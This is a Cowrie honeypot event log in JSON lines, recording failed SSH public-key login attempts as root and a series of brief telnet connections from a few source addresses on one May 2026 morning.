{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:44:95:37:4b:10:4b:03:46:26:70:f9:7c:ae:56:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOGTEQXwPUw7txJFCRNjQsCM4ciacKjTRGknZOl/HQoD/iBgeobofesWuvXsZcLAuc2kYD1h8nV28kIeNGrWVv8iu//EEn9B2k4Ko6lu/bf54/EMiKJb9NrD3CbcB5hK4eqlVULxbWY2d2TRRYYYmEXeYkVjkcuvKDaRS37fbYv2PptZvjEJ6cBYc6Q/ldZPsZX4p896eE7w4rTUVvDG5n4GjCp0PUBwAOvXeIm+vGhzmxB+hzLYt/eiqx/25cfNTZ+o0hs5dZC5VoEOonqXidFYns+dNaz+c9jDZjtOi6hGqoYoeuByJMivFJiBJBr7YgY/Rdxnm4PZjDOK4/+8FajLxfGd/wxHCwO46rrwnn3+O+3slG9WYC2nJJnr9NKiOFzRQyW3p/VUoXKdB111e4F7zdjFL673EfW5eZ7zHHIvKK3am+apjxEr/xAV8whOA2lKxxt75NMyakcbStrYcJoI/kC8GwzhOKOskLzrhwUlJdkcpGBpFbXWTLhhNObYPVHeQD9gzgb7+kKZ/M1KdsGs7v78SSZD+5GWEL7eWP4Nxr1qt8bG639UlmKaJv4pNNducu2aRMFaYSeON3SRbuOR5OWIShxfghYlLFzrZfE4e15Qwu8uPhauom/d30xs9sWChweJk/ZZIW9lXyv8/9jYvxSgoU18WiT41MtvGDFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.933916Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:b0:47:9c:d3:69:86:27:10:7e:9a:b7:46:98:56:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOfstP1gWxonkmsB/pay8rQdxisCjdZYZy+M0Bq+0y7fh/1UVufMIH4oRYexWWVGYfptl0FNxcnEE0jmktkDcd6OtnNP6Do7d2YBfTz8uS9927abUOeFK/LdnBbDE6oB7Eczr09Z+jBY1MOKz1bzvyJRLUdlgp8YyEAI8BFffHlUDGTCoZJt8F+iH9cWDXv84TGMKs7ffR/u1VgD/kEgl469Q7RuFrQNK61sXGTjmxnMRHcbeF/rg+hVoTIrcwytXy+12CyJXx40rgvpLOVeKCEP4oD7tRNmpfN7lguKTTiafsoOXxl5qt1AUaXyTIbSDaJmNmd66dFj1aXA5rcL2mYFm8T2KT1dasOXbxyXFgZStscII4GcEbu7+j2XeUxDTzp9OlknpFkCPVahNijhoGZGHoNK7wqE2CJ3AtujKljlsYFCfZKWlaYvGGWuE7TfccACvLYnJn1lxMVXATPYNkgpbb4VgMI/FFdRFhvWjblA3ncNfF+89K+/If8zlIxGFMXIAZJPumMkZN1DfGPB2nv/5NxnheM5o7EgU7cbR2mpmHu0Pup893Hp2YEy4yEdm/AjxGGTwf7YwR585umk8Qmz3ei3NLr/jmdifij7Axc4Iiit/TWTGD+X/0mbiT1cuB/RiTtyZEY968s6Yhs+jJvGWZCsgvXadixBF2UZkrMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:b0:47:9c:d3:69:86:27:10:7e:9a:b7:46:98:56:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:09.019468Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:b0:47:9c:d3:69:86:27:10:7e:9a:b7:46:98:56:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOfstP1gWxonkmsB/pay8rQdxisCjdZYZy+M0Bq+0y7fh/1UVufMIH4oRYexWWVGYfptl0FNxcnEE0jmktkDcd6OtnNP6Do7d2YBfTz8uS9927abUOeFK/LdnBbDE6oB7Eczr09Z+jBY1MOKz1bzvyJRLUdlgp8YyEAI8BFffHlUDGTCoZJt8F+iH9cWDXv84TGMKs7ffR/u1VgD/kEgl469Q7RuFrQNK61sXGTjmxnMRHcbeF/rg+hVoTIrcwytXy+12CyJXx40rgvpLOVeKCEP4oD7tRNmpfN7lguKTTiafsoOXxl5qt1AUaXyTIbSDaJmNmd66dFj1aXA5rcL2mYFm8T2KT1dasOXbxyXFgZStscII4GcEbu7+j2XeUxDTzp9OlknpFkCPVahNijhoGZGHoNK7wqE2CJ3AtujKljlsYFCfZKWlaYvGGWuE7TfccACvLYnJn1lxMVXATPYNkgpbb4VgMI/FFdRFhvWjblA3ncNfF+89K+/If8zlIxGFMXIAZJPumMkZN1DfGPB2nv/5NxnheM5o7EgU7cbR2mpmHu0Pup893Hp2YEy4yEdm/AjxGGTwf7YwR585umk8Qmz3ei3NLr/jmdifij7Axc4Iiit/TWTGD+X/0mbiT1cuB/RiTtyZEY968s6Yhs+jJvGWZCsgvXadixBF2UZkrMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:09.023934Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:ff:40:b7:32:ad:10:db:fd:ce:24:4d:20:0d:ca:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkMLzKh6IdedCRKlbrbDkOFpQehHccDKWoTQOnPtnpnFAqXcEfr3IrFTKzU09DgVQM5s0GsCUeyd2JaStaba2OdyyWkb56cpyddXOx+Vy3eASw2n8U5CDylr38je+YkMwPXYYc7d0be+FaP8HM0a20SncHOG1GF/9mu3huwdvA4wjTRXF7VaspaNIn3i+/zCpZeG/jVLRHd+ouohMHq2rwL4rjezaMKCKWfhK2FQsg9SdX8v7mLRjuSkHfscx5vGotBhvJ3yU8Mmo8/DCQLv+5dM6WfjWXy+6KZHWomfNjpNOsHjh9EiMiOpnhUqwy0SCHlriNZ9owiGQ7G6MHIPwddKmW/r7hs3QK7kpvqpXPC4zpExvKX8AlByhLVneLJkQadiCO8IBRKMrbb53VANKPREYTCG8zshoULxc768YY5FR33crz5u3ECJeN469Yr6PChjYxhtcnyab1l0SgOmStVjyVzTLVEFLiHogm7eesrux7AFJVU/FbRQf/I4z3S9+vBhSaYKgCT6+0zLx/RCDVSBZS71McFZKdmIMlEZx8d3n5UQvbubsjdVT8s5bBQddN5ZqfZkuauEOyGSfmHZdCTeST9DPajzchhGzjDVsHIDCN2EGNweSl9zZ4zqh2Vv6t3/F0jsyhEcIDow1xp6HtlrCpDWLwFnbstiVB6Cqh7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:ff:40:b7:32:ad:10:db:fd:ce:24:4d:20:0d:ca:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:09.107473Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:ff:40:b7:32:ad:10:db:fd:ce:24:4d:20:0d:ca:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkMLzKh6IdedCRKlbrbDkOFpQehHccDKWoTQOnPtnpnFAqXcEfr3IrFTKzU09DgVQM5s0GsCUeyd2JaStaba2OdyyWkb56cpyddXOx+Vy3eASw2n8U5CDylr38je+YkMwPXYYc7d0be+FaP8HM0a20SncHOG1GF/9mu3huwdvA4wjTRXF7VaspaNIn3i+/zCpZeG/jVLRHd+ouohMHq2rwL4rjezaMKCKWfhK2FQsg9SdX8v7mLRjuSkHfscx5vGotBhvJ3yU8Mmo8/DCQLv+5dM6WfjWXy+6KZHWomfNjpNOsHjh9EiMiOpnhUqwy0SCHlriNZ9owiGQ7G6MHIPwddKmW/r7hs3QK7kpvqpXPC4zpExvKX8AlByhLVneLJkQadiCO8IBRKMrbb53VANKPREYTCG8zshoULxc768YY5FR33crz5u3ECJeN469Yr6PChjYxhtcnyab1l0SgOmStVjyVzTLVEFLiHogm7eesrux7AFJVU/FbRQf/I4z3S9+vBhSaYKgCT6+0zLx/RCDVSBZS71McFZKdmIMlEZx8d3n5UQvbubsjdVT8s5bBQddN5ZqfZkuauEOyGSfmHZdCTeST9DPajzchhGzjDVsHIDCN2EGNweSl9zZ4zqh2Vv6t3/F0jsyhEcIDow1xp6HtlrCpDWLwFnbstiVB6Cqh7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:09.111603Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:09.194022Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.40537214279175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:18.728685Z","src_ip":"45.58.127.90","session":"3f56c604cebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50404,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5844d5bf34a","protocol":"telnet","message":"New connection: 147.182.143.59:50404 (159.203.135.109:23) [session: b5844d5bf34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:29.233457Z"}
{"eventid":"cowrie.session.closed","duration":36.77732062339783,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:31.582769Z","src_ip":"45.58.127.90","session":"137bdd2b1c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76310396194458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:32.884584Z","src_ip":"69.162.99.242","session":"95985353b515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.39554524421692,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:33.054777Z","src_ip":"45.58.127.90","session":"a3adc7dba7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50420,"dst_ip":"159.203.135.109","dst_port":23,"session":"aedaca4ab21e","protocol":"telnet","message":"New connection: 147.182.143.59:50420 (159.203.135.109:23) [session: aedaca4ab21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:35.282416Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50436,"dst_ip":"159.203.135.109","dst_port":23,"session":"341742edca6f","protocol":"telnet","message":"New connection: 147.182.143.59:50436 (159.203.135.109:23) [session: 341742edca6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:36.753279Z"}
{"eventid":"cowrie.session.closed","duration":39.89194440841675,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:37.311690Z","src_ip":"45.58.127.90","session":"0a3718926a65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.803624629974365,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:39.036980Z","src_ip":"147.182.143.59","session":"b5844d5bf34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.113027572631836,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:42.128757Z","src_ip":"45.58.127.90","session":"0f7dc0a56088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52494,"dst_ip":"10.17.0.5","dst_port":23,"session":"49eafb2e041b","protocol":"telnet","message":"New connection: 45.58.127.90:52494 (10.17.0.5:23) [session: 49eafb2e041b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:42.965196Z"}
{"eventid":"cowrie.session.closed","duration":41.03566217422485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:43.695687Z","src_ip":"45.58.127.90","session":"5b0443136130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"934dfa278e00","protocol":"telnet","message":"New connection: 147.182.143.59:41790 (159.203.135.109:23) [session: 934dfa278e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:44.982356Z"}
{"eventid":"cowrie.session.closed","duration":10.092424392700195,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:46.845598Z","src_ip":"147.182.143.59","session":"341742edca6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.856735467910767,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:48.138771Z","src_ip":"147.182.143.59","session":"aedaca4ab21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c33f2c4da63","protocol":"telnet","message":"New connection: 45.58.127.90:60774 (10.17.0.5:23) [session: 9c33f2c4da63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:49.231763Z"}
{"eventid":"cowrie.session.closed","duration":12.732720375061035,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:57.714761Z","src_ip":"147.182.143.59","session":"934dfa278e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd66cc1fc55","protocol":"telnet","message":"New connection: 45.58.127.90:58514 (10.17.0.5:23) [session: 4cd66cc1fc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:59.226699Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53796,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2689f341cf","protocol":"telnet","message":"New connection: 147.182.143.59:53796 (159.203.135.109:23) [session: 0c2689f341cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:09.956354Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35168,"dst_ip":"10.17.0.5","dst_port":23,"session":"44f2896635ff","protocol":"telnet","message":"New connection: 45.58.127.90:35168 (10.17.0.5:23) [session: 44f2896635ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:14.304923Z"}
{"eventid":"cowrie.session.closed","duration":40.331167459487915,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:23.296237Z","src_ip":"45.58.127.90","session":"49eafb2e041b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.227978706359863,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:25.184194Z","src_ip":"147.182.143.59","session":"0c2689f341cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.125184535980225,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:32.356812Z","src_ip":"45.58.127.90","session":"9c33f2c4da63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b10f8ec506","protocol":"telnet","message":"New connection: 147.182.143.59:34362 (159.203.135.109:23) [session: b3b10f8ec506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:33.653394Z"}
{"eventid":"cowrie.session.closed","duration":41.92798352241516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:41.154552Z","src_ip":"45.58.127.90","session":"4cd66cc1fc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.104734182357788,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:42.757997Z","src_ip":"147.182.143.59","session":"b3b10f8ec506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8e32088a15","protocol":"telnet","message":"New connection: 45.58.127.90:38506 (10.17.0.5:23) [session: ab8e32088a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:42.835636Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58702,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d29ba97900","protocol":"telnet","message":"New connection: 147.182.143.59:58702 (159.203.135.109:23) [session: 99d29ba97900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:46.595699Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37936,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0470a018fc","protocol":"telnet","message":"New connection: 147.182.143.59:37936 (159.203.135.109:23) [session: 5c0470a018fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:47.900695Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50976,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f8da92bb8b","protocol":"telnet","message":"New connection: 45.58.127.90:50976 (10.17.0.5:23) [session: 49f8da92bb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:49.245923Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50978,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ca0532152a","protocol":"telnet","message":"New connection: 45.58.127.90:50978 (10.17.0.5:23) [session: 74ca0532152a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:54.934980Z"}
{"eventid":"cowrie.session.closed","duration":42.08736538887024,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:46:56.392198Z","src_ip":"45.58.127.90","session":"44f2896635ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.599534511566162,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:00.500132Z","src_ip":"147.182.143.59","session":"5c0470a018fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e19d7196529","protocol":"telnet","message":"New connection: 147.182.143.59:35152 (159.203.135.109:23) [session: 5e19d7196529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:03.250318Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"905c454027b3","protocol":"telnet","message":"New connection: 45.58.127.90:57744 (10.17.0.5:23) [session: 905c454027b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:08.077174Z"}
{"eventid":"cowrie.session.closed","duration":10.464354038238525,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:13.714382Z","src_ip":"147.182.143.59","session":"5e19d7196529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58178,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c184f04e4df","protocol":"telnet","message":"New connection: 147.182.143.59:58178 (159.203.135.109:23) [session: 2c184f04e4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:14.953568Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57748,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4242c385f03","protocol":"telnet","message":"New connection: 45.58.127.90:57748 (10.17.0.5:23) [session: c4242c385f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:17.046595Z"}
{"eventid":"cowrie.session.closed","duration":35.49397802352905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:18.329486Z","src_ip":"45.58.127.90","session":"ab8e32088a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48268,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef55a6ac390","protocol":"telnet","message":"New connection: 147.182.143.59:48268 (159.203.135.109:23) [session: 0ef55a6ac390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:22.103505Z"}
{"eventid":"cowrie.session.closed","duration":7.257800102233887,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:22.211244Z","src_ip":"147.182.143.59","session":"2c184f04e4df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48278,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cd6e46dd926","protocol":"telnet","message":"New connection: 147.182.143.59:48278 (159.203.135.109:23) [session: 5cd6e46dd926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:24.672765Z"}
{"eventid":"cowrie.session.closed","duration":36.46371912956238,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:25.709551Z","src_ip":"45.58.127.90","session":"49f8da92bb8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34796,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c28a5f67877","protocol":"telnet","message":"New connection: 147.182.143.59:34796 (159.203.135.109:23) [session: 7c28a5f67877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:32.465084Z"}
{"eventid":"cowrie.session.closed","duration":11.462701797485352,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:33.566073Z","src_ip":"147.182.143.59","session":"0ef55a6ac390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.399160385131836,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:34.334021Z","src_ip":"45.58.127.90","session":"74ca0532152a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.351426601409912,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:36.024075Z","src_ip":"147.182.143.59","session":"5cd6e46dd926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"110e21c19ad1","protocol":"telnet","message":"New connection: 45.58.127.90:34600 (10.17.0.5:23) [session: 110e21c19ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:40.790230Z"}
{"eventid":"cowrie.session.closed","duration":10.833029508590698,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:43.298008Z","src_ip":"147.182.143.59","session":"7c28a5f67877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.145.165.247","src_port":41240,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52e3daae7bd","protocol":"telnet","message":"New connection: 203.145.165.247:41240 (10.17.0.5:23) [session: e52e3daae7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:43.791845Z"}
{"eventid":"cowrie.session.closed","duration":58.49412131309509,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:45.089693Z","src_ip":"147.182.143.59","session":"99d29ba97900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.954201221466064,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:53.031245Z","src_ip":"45.58.127.90","session":"905c454027b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37422,"dst_ip":"10.17.0.5","dst_port":23,"session":"637d1d2559c9","protocol":"telnet","message":"New connection: 45.58.127.90:37422 (10.17.0.5:23) [session: 637d1d2559c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:56.886424Z"}
{"eventid":"cowrie.session.closed","duration":39.859102964401245,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:56.905569Z","src_ip":"45.58.127.90","session":"c4242c385f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"086d1933dee5","protocol":"telnet","message":"New connection: 45.58.127.90:37420 (10.17.0.5:23) [session: 086d1933dee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:57.497962Z"}
{"eventid":"cowrie.session.closed","duration":14.173150300979614,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:47:57.964882Z","src_ip":"203.145.165.247","session":"e52e3daae7bd","protocol":"telnet"}
